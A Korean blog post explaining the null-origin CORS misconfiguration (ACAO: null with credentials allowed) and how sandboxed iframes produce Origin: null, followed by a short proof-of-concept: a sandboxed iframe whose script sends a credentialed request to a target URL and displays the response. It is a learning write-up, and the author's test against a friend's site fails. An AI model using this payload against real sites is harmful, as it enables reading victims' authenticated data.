티스토리 뷰

반응형

유형 (3) 설명

로컬에서 서버 대상으로 테스트 개발을 진행하고자 할 때, 아래와 같은 에러가 발생한다.

Access to script at 'file:///C:/경로/접근하고자 하는 파일' 
from origin 'null' has been blocked by CORS policy: 
Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https.

즉 이 경우는 서버 프로젝트를 직접 로컬에 다운받아 개발을 테스트하는 경우에서 많이 발생하며,

file:// 프로토콜을 통해 로컬 파일 시스템으로 html 등을 열게 된다.

👉 그래서 '내 환경에서 내 파일을 여는데 왜 SOP가 아니라 CORS 정책이 적용된다는 것이지?'에 대한 물음의 답은,

이 요청은 Cross-Origin 요청이기 때문이다!

서버의 도메인은 https://이나, 로컬에서 파일을 로드하려고 할 경우 file:// 프로토콜을 사용해서 그렇다.

👉 URL 중 1) 프로토콜, 2) 도메인 네임, 3) 포트번호가 모두 일치하면 Cross-site가 아닌 Same-site 취급한다.

즉 이 셋 중 하나라도 다르면 Cross-origin 취급을 받는다고 했다. ( https://likethefirst.tistory.com/entry/1-1-CORS란 )

👉 서버를 실행시킬 수 있는 다른 방법들(vscode의 liveserver, 단 https로 구동하려면 설정이 필요함)을 사용할 수 있지만,

이게 번거로운 경우 아예 Access-Cross-Allow-Origin 헤더 값에 null을 추가해서 허용하는 방식으로 개발하는 경우가 있다고 한다.

 

 

취약점 확인

다음과 같이 ACAO를 null로, ACAC를 True로 설정했다고 하자.

이 때, Origin이 null인 경우 그대로 서버의 응답을 브라우저가 받아올 수 있어 취약하게 된다.

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: True
...

Sandbox 처리된 <iframe>

특정 예시로 <iframe> 사용 시, src에서의 악성코드의 실행을 막기 위해 Sandbox 처리된 <iframe>을 사용하는 경우다.

Sandbox 처리된 iframe은 격리된 환경이며, iframe에서 실행되는 모든 콘텐츠가 외부 페이지, api와 상호작용하지 않는다.

즉 보안을 위해 Sandbox iframe 내 요청은 CORS를 적용받는다.

(Same-Origin도 Cross-Origin으로 간주하며, Origin을 null로 만들어버림)

단 allow-same-origin 옵션이 있으면 Same-origin에서의 요청을 허용 가능하다.

https://javascript.info/cross-window-communication

 

Cross-window communication

 

javascript.info

By default "sandbox" forces the “different origin” policy for the iframe. In other words, it makes the browser to treat the iframe as coming from another origin, even if its src points to the same site. With all implied restrictions for scripts. This option removes that feature.


이렇듯, sandbox된 iframe에서의 요청 시 브라우저는 origin을 null로 설정하고 CORS 요청을 보낸다.

응답 측 ACAO 헤더를 null로 설정해버리면 무분별한 악성코드 실행을 막기 위해 사용한 iframe이

그 자체로 인해 xss 등의 공격에 취약해질 수 있는 것이다.

 

 

Exploit 

실행 코드

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="... ,
<script>
        function cors() {
                var xhr = new XMLHttpRequest();
                xhr.onreadystatechange = function() {
                        if (this.readyState == 4 && this.status == 200) {
                                document.getElementById('result').innerText = this.responseText;
                        }
                };
                xhr.open('get','https://www.example.com',true); // 대상 URL
                xhr.withCredentials = true;
                xhr.send();             
        };
</script>
<center>
<h2>CORS Exploit</h2>
<button type='button' onclick='cors()'>Exploit</button>
<hr>
<h3>Response</h3>
</center>
<div id='result'>
</div>" width="100%" height="50%" style="background-color:#e1caca;">
</iframe>

결과

아쉽게도 CORS를 와일드카드로 설정해놓은 (지인의) 사이트라 response는 얻을 수 없었다.

에러 메시지에서도 알 수 있듯 allow-same-origin 속성이 없기 때문에 CORS 정책을 잘 받고 있다.

이 다음에 null origin에 대한 실제 exploit용 서버에서 수행해 볼 예정이다.

반응형
댓글
반응형
Recent Post.
Recent Reply.
Thanks for comming.
오늘은
명이 방문했어요
어제는
명이 방문했어요